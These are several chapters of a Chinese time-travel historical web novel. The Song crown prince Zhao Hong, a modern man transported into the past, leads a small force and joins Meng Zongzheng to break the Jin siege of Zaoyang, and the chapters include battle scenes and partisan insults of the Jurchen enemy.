女真大营内的完颜守绪也没闲着,看着溃逃回来的兵马,清点了一下,发现出去时五千轻骑兵,此时只剩了一千多,两千重骑兵全军覆没。可谓惨败。一万步军溃逃回来的只剩三分之一。
第八十六回 枣阳解围战 胜负生死中 (肆)
少年梧桐
少年气血胜蛟龙,
三尺剑,
敢挡百万兵。
骨盛气盛心犹盛。
二十开眼观众生,
莺雀往来,
杂草丛生。
嘈杂纷扰,
随饵食动。
三十载不过,
朝晴暮雨晚来风,
不是梧桐,
又似梧桐。
花空枝空心亦空。
眼见损失如此惨重,完颜守绪正要整顿溃兵,继续出战,却见远处与孟宗政交战的板子讹可浑身带血,领着溃兵奔自己这边而来。
完颜守绪顿觉一个头两个大。在摸清楚孟宗政并没有趁机攻打己方大营,反倒是奔着龙旗所在而去,完颜守绪知道,此战的成败,就在那面龙旗是否能一直高高飘扬。
认清了战场形势,完颜守绪见板子讹可带回来一千余重骑兵,心里稍安。由于草火讹可已经战死,板子讹可和完颜陈和尚已经受伤。完颜守绪索性将全部轻重骑兵归到了小吴起完颜合达麾下。命令他率领骑兵,再次冲击龙旗所在。
那边完颜守绪再次派遣骑兵出战,宋宇这边,宋宇看着女真步**正在大营外集结,也开始命令士兵捡起地上的盾牌以图遮挡接下来的金军**箭攻击。
正所谓福无双至,祸不单行。就在宋宇招呼众人忙碌时,杨妙珍来到了宋宇面前“:殿下,我军骑兵胯下毛驴经过一日夜行军,再加上半日激战,早已精疲力竭,接下来的战斗,这些毛驴非但不能帮上忙,恐怕还会成为我军的拖累。”
宋宇本想率领最后这一千多骑兵,向着敌军侧翼迂回过去。现在听了杨妙珍言语,转身四处打量周围骑兵毛驴,就见那些毛驴全都口吐白沫,大口喘气,显然已经到了累倒的边缘。
“:杨妙珍,传令全军,下坐骑,将毛驴遮挡在自己身前,好迎接女真**兵射击。”
杨妙珍领了声喏,随即吩咐骑兵照着宋宇所说行事。
宋宇在杨妙珍转身后,叹了口气“:接下来的战斗,将会是决定整场战争胜负所属的关键。”
那边宋宇一直在做准备迎击接下来的战斗。这边女真大营,张行信见完颜守绪全军出动,身边几乎没留多少人。在旁担心的劝道“:三阿哥,有句话奴才不知当说不当说?”
完颜守绪见张行信欲言又止,忙开口询问道“;张先生有话,但讲无妨。”
张行信一改稳健的模样,竟直接跪在了地上“;三阿哥,虽然奴才知道这大宋太子,对我大金国的重要性。但这孟宗正,才真正是咱们的心腹之患啊。现在三阿哥身旁已经不剩多少军士,万一孟宗政去龙旗那边是假,趁机偷袭我大营是真,我等何以抵敌?”
一席话点醒了被宋宇刺激糊涂的完颜守绪,只见这完颜守绪一副恍然大悟得模样,忙大声喊叫道“;哎呀,坏了。本阿哥竟然忘了孟宗正那老匹夫一向诡计多端。先生,现今兵马全都调派了出去。如之奈何?”
还不待张行信回答。远处传令兵赶到近前禀报“:三阿哥,那孟宗政击败讹可将军后,绕过我军营寨,直奔龙旗所在而去。”
听到孟宗政已经绕过了营寨,完颜守绪松了一口气“:看来接下来这场战斗,将会决定整场战争的胜负!传令进攻的部队,活捉宋国太子之人,赏银万两!”
那边完颜守绪虚惊一场,这边宋宇部队却是糟了老罪。方才敌军步**已经行军到两军五百步距离,果然如宋宇所料,敌军神臂**兵开始远距离射箭。
密集的**箭,压得宋宇部队抬不起头来。只见宋宇前面的驴子已经被**箭射成了刺猬,倒在地上死的不能再死。其他骑兵的驴子也是被当靶子一样,全部射倒在地。
宋宇此时,猫着腰,躲在死驴子身后,用盾牌遮挡**箭,就听盾牌被**箭射的咚咚咚一直怪叫。
“:麻蛋!这女真的**箭,都不装填的吗?就像雨点般,没有空当让我们冲过去厮杀啊!”
一直在旁的江海开口道“:殿下,您没经历过战阵,对这**兵运用不太清楚。”
“:怎么讲?”
“:殿下,看对面**兵,少说六七千,这六七千人最少分为三队,他们交替射击装填,这才让你感觉对面没有喘息似的一直射箭。”
宋宇听了江海的讲解,这才恍然大悟“:难道要一直等对面射完**箭?”
“:眼下只有如此,殿下,我军现在人人装备盾牌,又有驴子尸体掩护,伤亡已经最小了。还请殿下耐心等待,一旦对面**箭射完,就是咱们发挥的时候了。”
“:太窝火了,该死的史嵩之,把整个襄阳的军队祸害成了这样!害的我们现在只能趴在地上吃**箭,回去可得好好再赏他俩耳光。”
就这样,宋宇带着部队硬生生抗下了女**的所有**箭。待到女****箭用完,宋宇直接站起身大喊道“:儿郎们,接下来就是分胜负的时候了,随本殿下冲上去,杀他们个片甲不留!”
喊罢,宋宇当先持剑举着盾牌向前冲去。
身后程保赵国杨妙珍孟珙等一众兄弟紧随其后,更有江海龙旗左右摇晃“:儿郎们!随太子殿下冲!”
宋军全军闻声而动,在宋宇带领下,奔着对面女真大军冲去。
女**也在第一时间开始冲向宋宇部队。两军对冲,没多长时间混战在了一起。
女**一反常态的士气高昂,更有女真兵不时呐喊“:三阿哥有令,活捉大宋太子,赏银万辆!”
宋宇一听这个,顿时一股无名火起,对着面前女真兵破口大骂“;滚犊子!麻蛋,你们大金国的三阿哥,就出这点钱?我们家史嵩之,史大人,一个小小得京湖制置使,家门口养的一条狗也比你们家三阿哥报的价更值钱!得得得,本太子也是看你们大金国可怜。一个国家,单挑三个国家。勇气可嘉。这么着,给你们一人五百两银子,哪来的滚回哪去!”宋宇罗里吧嗦的,说了一大坨废话。
说完就后悔了,这么激烈的战斗,应该来点豪言壮语,这怎么就成
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泼妇骂街了!这要是史官,把这段话写在了正史上,不知道后人会怎么看自己。
带着这个想法!宋宇转头向身后士兵看去,身后士兵竟然乱哄哄的喊叫道“:对面侮辱我大宋太子不值钱!兄弟们,跟他们拼了!”
“:兄弟们,随我来,把这些个狗眼看人低的女真蛮子,打回老家!”
喊罢,身后宋军士兵战意更甚,与女真士兵厮杀起来,近乎不要命似的。
宋宇看到这一幕,不尽然想到了自己刚来大宋时,那些明教徒,**的那一幕。
不过那些明教徒相信自己灵魂不灭。才敢那样为之。但眼前的这些士兵,可没有这种逆天的想法。甚至在数天前,宋宇压根一个不认识。
但他们现在,却将自己的生命,毫不怜惜得交到了宋宇手上,如果勇敢分等级,明教众人那种勇,应该叫愚勇,身后这些士兵的勇,可以称为忠勇。至于华岳那样的,为了国家去刺杀史弥远,这样的勇,恐怕是最高等级的义勇!
“;殿下,还愣神作甚,趁着大家士气高昂,咱们一口气杀败他女真狗!”田奇大声对着宋宇喊道。
宋宇被田奇喊醒,傻笑着看了看手中仁剑:也不知道这一战,还能不能再回临安去和华岳兄弟学剑术?还有清儿,真想再和你一起坐在西湖边的凉亭里,吃着你亲手做的家常小菜,就那样安然自得盯着西湖来往的行人聊天!
想到这里,宋宇目光中杀意涌动“:就是你们这些该死的畜生!打不过蒙古人,就来我们大宋**放火!今日,本殿下一定要给你们长长记性!让你们知道,我大宋不是你们随便捏得软柿子!”
喊罢,宋宇在一票兄弟护持下,持剑攻向距离自己最近的女真士兵。一连砍倒刺死数人。宋宇这边厮杀几近白热化,在双方部队混战的右前方。
从金军大营迂回而来的孟宗政部队,遭遇完颜合达骑兵队伍,双方也在激战之中。
完颜合达和孟宗政单挑了十几个回合之后。已经浑身大汗,气喘如牛。就连胯下得战马,也是浑身湿透,双腿打战。
反观孟宗政,虽然年纪大了,须发皆白,却是自在得很,非但没出汗,就连胯下战马,也欢实得很。
可见如果武艺比不过别人,抵挡起来,会十分吃力。往往高手一个动作,就能逼迫你用十余个动作抵挡。这就叫高低之分。
“:孟老匹夫,你个老不死的,累死本将了,呼呼呼。”只听完颜合达,气喘如牛的骂道。
孟宗政看着面前累的狗一样的完颜合达,禁不住哈哈大笑“:完颜合达,你说说你,学艺不精,非要充个好汉,这才几个回合?就不行了?孟爷爷我劝你,速速滚回金狗主子那里为好,若在死气白咧,阻挡孟爷爷进兵。定要将你刺于马下。“
完颜合达一听孟宗政如此羞辱自己,气不打一处来,啐了口唾沫,大声喊叫道“:啊呀呀呀!!真真气煞我也。孟老匹夫,本将今日跟你不死不休。“言罢,举枪再次袭向孟宗政。
第八十七回 枣阳解围战 胜负生死中 (伍)
孟宗政冷笑一声,出枪拨开了完颜合达那软绵无力的攻击,随即**前刺“:岳家枪,直捣黄龙!”喊罢,**直袭完颜合达胸口。
完颜合达见孟宗政玩起了这招,腿肚子吓得直哆嗦,赶忙一勒马缰,躲过了这一击,转头看向孟宗政时,就见孟宗政拍马向前,**再次出击,完颜合达赶忙出枪抵挡。
哪知孟宗政却收回**,并快速的以枪尖点地,口中大声喊道“:岳家枪,忠义齐天。“话音刚落,借着枪尖弹起的力度,飞升从马背上跳起,一脚踢向了对面马背上的完颜合达。
完颜合达格挡扑空,在抽回**抵挡已经来不及,就见一只鞋底踹来。硬生生用脸,吃下了所有力道。被孟宗政一脚,从马上踹飞出去数米远。
孟宗政则借着踩完颜合达脸部的反冲力。平稳的坐回了自己马上。
在坐定后,孟宗政手拿马缰,一脸戏虐的看着远处捂着脸,嘴里直吐沫子。被周围金兵搀扶得完颜合达“:完颜合达,孟爷爷这脚,可有力道?“
完颜合达捂着被踢的肿了两倍的右脸,抬头怒视着骑在马上,一脸戏虐的孟宗政。是又羞又怒,但还真就对孟宗政,没有办法。
话说这些年自己和孟宗政过招也不是一次两次了,可唯独这孟宗政,越老越能打,全军上下所有叫得上名号的女真将领,几乎全都被这老匹夫收拾过,就因为这,自己手下那些兵私下称呼孟宗政为孟爷爷“:该死的老匹夫,今日羞辱之仇,本将记住了,老匹夫。山水轮流转,看你这把老骨头还能在活几年?咱们走着瞧。“
言罢,完颜合达在周围金兵的搀扶下,爬上一匹战马。看了看周围金兵,叹了口气,再次向着阵后跑去。周围金军骑兵也不傻,一看主将受伤要归阵了。也没了战心。灰溜溜的赶上去,向着大营撤去。
孟宗政见金军被打退。四下看了看。只见自己不远处,女真步**由于人数众多,几乎是围着龙旗部队在打。
孟宗政不敢托大,果断对着士兵下令,冲着龙骑方向,一头扎了进去。
里面的宋宇等人,仍在拼命厮杀,宋宇脚边躺满了女真士兵的尸体。
而面前的女真步兵,就像是一群蚂蚁,死死咬住宋宇等人。一波杀完,又有一波冲上来。而且由于女真兵之中**兵很多,女真得**兵,稍一用力,便能刺到宋宇。
好在宋宇穿了铠甲。大多时候,对方**都是在铠甲表面划拉过去。但老这么被偷袭,宋宇担心迟早有个万一。
可眼下来看,还真就没有什么办法,能够有效抵挡对方**偷袭。只能凭借自身洞察力,一一闪躲。生死只在一线之间。
一直跟在宋宇身边的田奇骂骂咧咧“:该死的女真狗,没用铁牛阵将你们踩个稀巴烂,算你们好运。”
龙旗所在的宋宇一直在不辞辛苦的躲闪暗枪。生怕一个不小心,哪个不长眼的用**偷袭,刺**自己。
此时听见田奇发牢骚。也附和着骂道“:麻蛋,这女**为了区区一万两赏银,还真是拼了老命了。”
“;殿下,重赏之下,必有勇夫。想来这金狗主子,是要抓了殿下,要挟朝廷赎人。”江海一手扛旗,一手挺剑刺倒一人,插嘴道。
宋宇现在越看这江海,越顺眼。不为别的,年纪这么大,这一路扛着龙旗而来也就算了。直到现在,也不舍得扔了这碍事得龙旗,好保得性命。可见将这面龙旗交给这江海,是真的找对人了。
跟史嵩之那类人相比,江海和他们有着本质的区别。像史弥远与史嵩之这样的人,一辈子被金钱权利女人左右。
说得好听点,是物质的奴隶,说难听点,就是踏马一牲口。还是永远不知道饱,贪婪成性的牲口。
这样的人,不见得便幸福。因为他们压根就不知道自己想要什么。想要多少?他们只是随着利益的积累,增长。女人的狂叫。
让自己的内心,得到畸形的快感。但这样的人,越是快感,内心深处就会越空虚。
就越想得到更多的利益,更大的权利,更浪的女人。为了这些东西。他们一刻也不想停下脚步。
但是,金钱永远没有尽头,权力永远没有顶峰,就连女人,也是千姿百态,没有真正喜欢他史弥远,属于他史弥远的那一个。
因为他史弥远之流,在这个世界,把心给丢了。
反观江海,想法简单了很多,只要能让他们报效朝廷,哪怕给他个马前卒,他也绝对会像吃了蜜。喊叫着冲向自己的敌人。
这样的人,没死的时候就已经感觉很幸福,等到死的那一刻,会更幸福。觉得这一生来完成一件事,精忠报国。就算够本了。人吗,活得太复杂,累......
想到此,宋宇哈哈大笑“:想不到,本太子在这一刻,才知道怎么活,最值。”
这句话立马把周围正在厮杀的一群人说懵了,齐齐问道“;怎么活?”
宋宇低头闪开袭来的**,面色平静的说道“:把这辈子最想做的一件事,当成目标,也别太多,就一件。然后撒开丫子,努力奔着这个目标狂奔,别理旁人的冷眼,也不要在意别人现在所拥有的幸福。只管朝着那个目标前进,便是了。就算最后事与愿违,也不虚一路拼搏之行。”
“:殿下,你说的,听不明白啊。”田奇边厮杀,边继续问道。
“;哈哈哈...田奇,你这辈子,可有什么最想做的事?”宋宇反问道。
田奇略一思量,叹了口气答道“;唉,草民这辈子,就盼着我大宋的士兵,能打回草民山东老家去。到时候,也有脸去见自己九泉之下的列祖列宗了。”
宋宇听了,温柔的说道“;田奇,叹什么气?待到日后,本太子掌了权,定然率领天下最好的军队。打回北地。”
宋宇很明白,田奇这样的人,在大宋朝,可以说是不在少数。相比于土生土长的南方人
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,这些被迫南迁而来的北方人,几乎无一例外,想要北上夺回自己的家园。
但理想是美好的,现实是残酷的。整个南宋朝廷,可以说从赵构那一代开始,就已经打算放弃自己祖宗生活了数千年的北方故土,抱着金枕头,醉卧临安了。
不要小看了君主的意志,它直接影响这个国家,这个民族的脾气性格。正所谓,君正,天下正。君昏,国不宁。君王无心北上,任你豪杰辈出,只能老死榻上。
“:殿下,草民只想说,这辈子遇到殿下,还能和殿下并肩作战,什么都值了。”田奇听了宋宇颇为乐观的言语,倍感欣慰。
就在田奇话音刚落,身后一声惨叫声传来,宋宇转身去看,就见江海受伤,倒在了血泊中,手中攥着旗杆,见宋宇看来,嘴巴一张一合,似是有话要说,一旁孟珙出声道“:江叔,你可不能有事啊!眼下已经到了枣阳城下,我父亲还想和您饮酒畅聊呢。”
宋宇赶忙走过去,就见江海腹部被**刺了个窟窿,鲜血止不住的涌出。宋宇用右手,按住了江海伤口“:老将军,你不会有事的。”
江海却面带笑容有气无力的对宋宇说道“;殿下,老将活了六十有几,早就看透了生死,殿下不必宽慰我。倒是老将死前,有几句话要对殿下讲。”
“:我听着呢,有什么想说的,你尽管说。”话到此处,看惯了无数人生死的宋宇,想到江海一路来的辅佐,眼神不由得模糊,两行浊泪混着脸上血渍流下。
“:殿下,莫哭,读书人常说,人生如白驹过隙,稍稍一走神,老将已满头白发。当年之事,如昨日之景,犹在眼前。那年老将不过十几岁,是岳元帅帐下,最不起眼的小兵。每次冲锋,岳元帅总是一马当先,不畏生死。远远的看着岳元帅的背影,让老将不知怎么的,就觉得浑身有使不完的力气,就想要跟着岳元帅,直捣黄龙,报我宋人,被欺凌之仇。殿下,你知道吗?今天看着你的背影,让老将不自觉联想到了岳元帅。殿下,岳元帅当年说,文官不爱钱,武将不惜死,则能天下太平。老将怕是看不到那天了,但老将相信,是殿下的话,那一天,不会太久了......”
一席话说完,江海永远闭上了眼。宋宇偷偷擦了擦脸上泪痕,从江海手中接过龙旗,猛地摇晃起来“:儿郎们,今日一战,有死而已!士可杀不可辱,就算是死,也要让女**知道,我大宋男儿!没有软蛋!”
周围立马响起一阵呼喊“:杀!杀!杀!”
从全局来看,孟宗正试图冲进去援助宋宇,可人数实在不多,方才孟宗政经过两次激战,已经消耗掉了近半人马,此时只剩二百多骑兵。
好在全是精锐,此时正在女真步兵中向前缓慢的挪动。
不知过了多久,孟宗政终于来到了那心心念念的龙旗不远处,只见他放声大喊“;对面是何人兵马?枣阳守将孟宗政特来会和。”
第八十八回 枣阳解围战 胜负生死中 (陆)
宋宇此时正在努力的摇着龙旗,孟宗政的喊声传来,宋宇诧异得得停下了手中摇旗动作。心里暗道:孟宗政?孟珙的父亲孟宗政?他不是在守城么?怎么出来了?
宋宇不自觉想起了那日夜里,华岳挺剑保护自己时的喊话“;殿下莫怕,华岳在此。”
该不会是自己的龙旗,将孟宗政引来的吧?
想到这里,宋宇嘴角扬起了一丝微笑。那晚华岳也是,不听劝,非要上阵杀贼,不过也幸好华岳潇洒的出现,救了自己。现在这孟宗政,也来了这么一出。大宋的英豪们,还真是出奇的闲不住。
“:殿下,我父亲来帮咱们了!”孟珙一脸兴奋的凑到了宋宇跟前。
“:孟兄弟,快带几个兄弟,去将阻挡孟老将军的女真兵清理一下。”宋宇急切的说道。
孟珙得了命令,不再耽搁,大声喊了句“:彭义斌,杨妙珍,你二人来帮我打通父亲的前进道路。”
彭义斌爽朗的应了声“:俺在山东时,就听闻令尊被女真蛮子私下里喊孟爷爷,今日有幸能见上一面孟老将军,真是不虚此行!”
言罢,彭义斌从身边士兵处取了一面盾牌,随即大喊道“:孟老将军!俺们是宋军,听到后回个话,俺们好知道你的方向!”
孟宗政得了对面宋军回应,忙喊道“:对面的听好了,孟宗政在此!”
孟宗政声音洪亮,彭义斌很容易便找对了方向,只见他将盾牌护在身前,对准孟宗政所在方向的金兵,直接运气,大喊一声“:孟兄弟,俺直接撞过去了,你和四娘子在后边捡现成的就行。”
言罢,直接撒开丫子对着面前女真兵开始冲撞,力气之大,甚至直接将面前女真兵撞飞出去数米远。
孟珙和杨妙珍则招呼了一些士兵,随着彭义斌开出的道路,一路杀了过去。
也不知过了多久,孟宗政来到了宋宇身前,上下打量了一眼宋宇,就见面前的宋宇左手仁剑,右手龙旗异常醒目,身穿金盔金甲,红色斗篷随风飘动。再加上身上血渍,脸上血痕,孟宗政就觉得此人豪气干云,英气勃发。
可孟宗政却泛起了嘀咕:我大宋皇室中有这号人物?会不会是哪里冒出的无名将军,打着龙旗的幌子,来鼓舞士气,妄图用义举救我枣阳?
想到这里,孟宗政满脸疑惑地对着宋宇问道“:老将瞅着您面生,敢问您是?皇室成员?”
宋宇也在打量孟宗政,就见面前孟宗政脸型消瘦,布满皱纹,顶着俩黑眼圈,显然因为守城没睡好。身穿一套老旧山纹甲,身后蓝布披风早已破烂不堪。
见孟宗政问起自己来历,宋宇正色道“:太子赵竑!”
听到这个名号,孟宗政立马双腿一软,跪在了宋宇面前“:老将孟宗政,援救太子殿下来迟,还请太子殿下赎罪!”
宋宇忙对着孟宗政说道“:老将军快快请起,今日是本殿下来救你,怎么就成了你救我了?”
孟宗政满脸错愕的抬起头,盯着宋宇看了会。就觉得这太子说话方式很是特殊。
就在这时孟珙一把搀扶住孟宗政胳膊“:爹,快起来吧,太子殿下最烦跪拜之礼。”
孟宗政被孟珙这句话说的有些生气“:你个兔崽子,怎么在太子殿下面前站着说话呢?就是当年的岳元帅,见了太子殿下也只能跪着说话。”
宋宇见孟宗政有些顽固,笑着解释道“:孟珙是我兄弟,他说的话,老将军您应该听。”
孟宗政听了宋宇的话,差点没惊得下巴掉下来:什么玩应?我儿子和太子殿下称兄道弟?我的妈呀,这都哪跟哪啊?这兔崽子真是厕所里点灯,找死!
想到这,孟宗政突然站起身,对着宋宇一拱手“:太子殿下,这兔崽子没大没小,老将帮您教训他。”
言罢,孟宗政举起手中铁枪就要对着孟珙打过去。还好一旁彭义斌等人死死拉住,这才没打下去。
孟宗政没打着孟珙,嘴不饶人“:兔崽子,你是要害死你爹我啊?太子殿下何等身份?是我们这底层行武能高攀得起的吗?就算太子殿下不介意,随口那么一说,你还真踏马当真了你呀?你个兔崽子!”
宋宇被面前的这一幕彻底整无语了:看来自己再不说两句,这老将军是不会放过孟珙了。
想到这,宋宇对着孟宗政大喊道“:孟老将军,请听本殿下一言,再动手不迟!”
孟宗政听宋宇发话,这才止住了动作,一脸惶恐的看向宋宇“:殿下赎罪,小孩子不懂事,给您添麻烦了。”
宋宇无奈的叹了口气:这古人的尊卑观念,实在太重了。
如此想着,宋宇十分诚恳地,对着孟宗政解释道“:孟老将军,结拜是我的主意,不光孟珙,现在在场的每一个同生死,共进退的我大宋儿郎,都是本殿下的兄弟!有诗云,安得广厦千万间?大庇天下寒士俱欢颜。”
孟宗政听完宋宇一席话,禁不住倒吸一口凉气:乖乖,我大宋皇室这是出了个圣人太子啊?老天庇佑,我大宋这是要再次登上那座名为盛世的高山了?不行,今日这太子绝对不能有任何闪失。
想到此,孟宗政对着宋宇抱拳行礼“:殿下,您身份娇贵,这里已经被女**包围,再打下去,实在凶险,老将愿带领手下人马,拼了老命带您杀出去,只要进了枣阳城,就安全了。”
宋宇听了孟宗政劝说,并没有急着回答,反倒是扫视了一圈正在奋战的士兵们,就将他们人人浴血,奋勇杀敌,没有一个软骨头。
看完了士兵,宋宇又抬头看向了那面正在随风飘扬的龙旗,良久,才开口道“:老将军,龙旗所在,将士鲜血所浸,皆是我汉家领土。自靖康之耻,女**践踏我汉家领土,屠戮我汉家百姓,这笔帐,今日也该和他们算一算了。老将军,我是不会丢下身边这些兄弟们独自逃生的。”
孟宗政见宋宇不肯逃生,不知怎么的,眼眶中竟有泪光闪动:岳元帅,您当年没能遇上的明君,今日可算让老头
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子我等到了...
想到这里,孟宗政浑身气势陡变,满身杀气迸发“:殿下,老将愿拼了这条老命,助殿下破贼!”
时间在流逝,宋金两军的战斗,从中午一直打到了日落时分,仍旧打得难解难分。
远处高坡宋军战鼓所在。夕阳照耀在硕大的银色鼓面上,给鼓面蒙上了一层金色的光芒。
敲鼓的三个姑娘早已汗流浃背,疲惫不堪。可她们仍在用细弱的胳膊,不停的抡动鼓槌。
谢道清擦了擦额头汗水,一脸担心的说道“:两方厮杀了一下午,殿下身边的士兵,好像越来越少了。”
一旁的王焕君见谢道清十分担心宋宇的安危,忙开解“:谢姑娘不用担心,当初我也曾游历四方,游历途中也见过几场战阵,就现在两军这种情况,女**的损失比殿下多了不知道几倍。这场仗,殿下输不了。”
“;可在这么坚持下去,殿下的身体,怕是会累垮。”
“:谢姑娘,殿下身边全是能征善战的英雄豪杰,他们自会为殿下分担压力。我等无需担心,只需擂鼓助威,等待殿下胜利的好消息便是。”
目光一转,宋宇这边。经过一下午的战场厮杀,就是宋宇身边壮如牛的彭义斌身体也有些吃不消,时不时的大口喘着粗气。
宋宇本就没有武艺功底,此时累的几乎直不起腰。就觉得胳膊腿都不是自己的似的。
再看宋宇一众人前方,女真兵尸体,堆积了厚厚的数层。女真士兵的攻势因为尸体堆积,暂时停了下来,拿着武器,隔着尸体堆与宋宇他们对峙。本来咋咋呼呼要生擒宋宇的喊叫声早已听不见。
宋宇看他们的怂样,往旁边吐了口唾沫“:怎么的?女**不是号称,女真不满万,满万天下无敌吗?怎么三万多打三千多,愣是让我们宋人打的没人敢上前?”
围困宋宇的女真士兵也在窃窃私语“:我女真勇士们,对面不过区区宋国奴才罢了,趁他们累了,冲啊!”
却并未有人响应,不时却有小声议论“:冲个鬼?对面哪是宋国奴才?活脱脱的勾魂阎王。”
“:就是,我说的三阿哥狮子大开口,出价一万两。感情是碰上了硬茬子,哄骗我们来送死......”
那边双方士兵暂时对峙。这边女真大营处,看着战场厮杀的两方,完颜守绪心中五味杂陈:该死的,区区三千宋军,愣是打的我女真勇士战损过半。对面究竟是谁或是哪个皇室在带领这支宋军?
张行信盯着己方步军状态,眉毛皱成了川子,转过脸对着完颜守绪进言道“;三阿哥,情况怕是不容乐观。这三万步军,似是有怯战溃散的势头啊。”
完颜守绪见说,走到了张行信一旁,凝神远视,只见自己三万步军集群,虽然围住了一小撮宋军,却在中心位置和宋军隔着尸体,对峙起来。久经战阵的他心里立马冒出一个不好的念头:糟了,三万人竟然被三千人打的不敢上前。这是要被打崩了。
第八十九回 枣阳解围战 胜负生死中 (柒)
看到这里,完颜守绪不敢再继续让步军围困了。万一这队步军临阵溃逃,后果不堪设想。
如此想着,完颜守绪赶忙吩咐传令兵“:偃旗息鼓,鸣金收兵。命三万步军速速有序撤回来。“
就这样,完颜守绪妄图将两万步军喊回来,从新在营内集结。毕竟现在兵力上,金军仍然占据优势。只要不溃散,完颜守绪宁愿从新来过。
就在完颜守绪命令偃旗息鼓之后,更加诡异的事情,发生了。只见金营之内,突然四处起火,更有喊叫之声甚嚣尘上。好像生怕没人注意营内失火。
就在这一刻,偃旗息鼓声,与大营内混乱的喊叫声交织在一起,牵动着每一个听到得金军心神。
也不知哪个缺心眼的喊了一句“:不好啦,有**营放火。三阿哥下令撤退了。有人袭营啊!”
一传十十传百,整个大营的女真兵彻底懵了。开始乱跑乱串,营内形势急转直下。
城外三路**枣阳的金军兵马倒没什么,有心的看到大营烟火,也只是保持观望态势,放慢了继续**城墙的脚步。
但那队包围宋宇,正要有序撤退的女真步兵就没那么幸运了。就在撤退命令下达后,他们刚转身要边打边退,就看见大营内浓烟滚滚。
整个女真步兵军阵那脆弱的神经彻底撑不住了,震颤了片刻。随之而来的,便是大溃散。
就见他们哪还管什么有序撤退,纷纷撒丫子往大营方向跑去。生怕一个跑慢了,被身后不要命似的宋军给剁成饺子馅。
“:妙啊,真不知道是什么人,竟然看到了金狗软肋,袭了大营。”孟珙赞赏的盯着起火得金营,自言自语的嘀咕道。
“:孟兄弟,别分心,趁着现在金军大乱,赶紧赶紧冲上去多宰几个。一旦让他们逃回大营,再结阵出来,咱么可就真吃不消了。”田奇见孟珙竟然分心,在旁叮嘱道。
宋宇听了这俩人话语,手中龙旗挥舞“:你二人不速速追缴溃散之敌,更待何时?现在这金军虽然溃散,但并未四处而逃,反而是有目的的逃往大营。若不趁胜驱赶,万一让这数倍于己得金狗喘过气来。那我等岂不是又要有一番苦战了?”宋宇少有的,说出了一番行家话语。
孟珙听了宋宇所说,脸上浮起了笑意“;殿下真是不可多得的将才,从未上过战阵,却并未乱了手脚。指挥若定,随机应变,更兼深陷敌军阵中,却是毫无畏惧。我大宋能有殿下在,实是个异数。”
宋宇见孟珙认识自己才几天,竟然学会拍马屁了,鄙视的瞄了他一眼,心里暗道:异数?那是肯定的。不异数才怪,想自己睡个觉,不知怎的,穿越到了这里。你说是做梦吧?这世界却真实的很。
有时候,自己甚至怀疑,那段无父无母,苦逼的日子,才是自己做的一场噩梦。
想到这里,宋宇往旁边啐了口唾沫“;两位兄弟,机不可失,失不再来,随本殿下速速追缴乱敌。”言罢,扛着龙旗,大声吆喝一声,右手持剑,冲向了企图逃回大营得金军溃兵。
身边一众兄弟,见宋宇来了干劲,相视一笑。也持剑挺枪。追杀了上去。
留下孟宗政捋着花白的胡须,站在原地自言自语:像,实在太像了。跟岳元帅当年有八成像。莫不是岳元帅遗愿未了,托生到了他大宋皇室?看着殿下带着这些个初生牛犊不怕虎的年轻人冲锋陷阵,老将我忽地想起当年身为岳元帅帐下一小卒时,跟在岳元帅身后冲锋那一幕。而现在,和当年何其相像!
“:孟宗政,愣着做什么?快随岳元帅冲啊!”
“;老将军,愣着干什么?快随太子殿下冲啊!”身后一个指挥使对着孟宗政喊叫道。
孟宗政哈哈大笑,笑着笑着,两行老泪,不自觉地流了下来,带着哭腔喊道“:岳元帅!等等我,小子我要跟着您,直捣黄龙!”
言罢,孟宗政一踢脚边**,跟着众人向前冲去。
就这样,金军三万步军,围困宋宇三千临时拼凑的部队。非但没能取胜,苦战一下午,反倒被打崩。
宋宇边冲边想:女**这支步军之所以没能拿下自己,恐怕和没有得力主将操持,有很大关系。
如果金人能有得利主将操持步军,即使战胜不了自己,起码撤退时不会因为大营出问题,就瞬间崩溃。
但很不幸,好像女**所有靠谱的将领,都在战争一开始,便分派给了轻重骑兵。
有句话说得好,千军易得,一将难求。今天这句话再次验证了。不光验证了这句话,还让宋宇明白了另一个道理,逃跑的敌人,与其说是放弃了进攻,还不如说是放弃了生存的希望。
只见宋宇面前逃跑的女真兵,武器盔甲是扔了一地,很明显是彻底的溃散。这和之前孟珙杨妙珍打败的,有将领操持的骑兵败退时,完全是两个样子。这溃退的士兵唯一的优点,恐怕就是跑得很快,仿佛是身后有野兽追赶似的。就这样一支军队,让宋宇等人使出了吃奶的力气,才堪堪追上,只见宋宇单手握剑,冲着眼前逃跑的女真兵,直接一剑平削了过去。
就听‘呲啦’一声。女真兵甚至没吱吱一声,直接被宋宇肖掉了脑袋。“:好过瘾啊,这么多脑袋,背对着你,让你练剑。简直是太奢侈了。”宋宇一击得逞,立马兴奋的忘乎所以了。
孟珙田奇等人正紧跟在宋宇身后,将宋宇得言行举止,看了个底吊。只见几人相视一笑。随即加快速度。紧随了上去,又将宋宇死死护在了正中。
这边宋宇反败为胜,开始追缴残敌。
女真大营,完颜守绪处,张行信正在对着完颜守绪献计“:三阿哥,眼下营内混入间隙,四处放火,无非是要求一个乱字,当务之急,应遵从孙子兵法所说,以静制动。命令士兵全都站在原地不要随意走动去救火,也不要大声喧哗。但有大声喧哗随意走动
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者,格杀勿论。”
完颜守绪点点头,随即吩咐已经包扎好伤口的完颜陈和尚前去执行。
吩咐完,再次砖头看向了张行信“:先生,营内间隙容易解决,这营外士兵溃逃,宋军一路追杀,要怎么办?”
张行信皱眉寻思片刻,眼神愈发冰冷“:三阿哥,这队步军损失过半,只剩一万余人,逃跑时丢盔弃甲,早已丧失战斗力。若是让他们冲进营寨,必然被宋军尾随而入。到时营寨内厮杀,我军必败。”
“:这,这要如何是好?”
“:三阿哥,当断不断反受其乱,还请三阿哥将营内剩余的数千伸臂**手陈兵我军溃逃要走的营寨大门,一旦任何人敢冲进来,一律射杀。”
完颜守绪听了张行信的计谋,倒吸了一口凉气,一万多人,全部射杀?但苦思冥想后,还真就没有更稳妥的办法。干脆一咬牙“:便依先生你之计。”
言罢,吩咐溃逃回来的完颜合达去率领神臂**兵堵路。
安排停当,完颜守绪长叹一口气“:哎......本阿哥带领我女真勇士,数年来在大宋领土上纵横驰骋,除了一个孟宗政坐守的枣阳,其余新野樊城等,全都举旗投降。想不到,一个所谓的大宋太子,带领一群看似临时拼凑起来的部队,骑着毛驴,竟然打的本阿哥颜面扫地。”
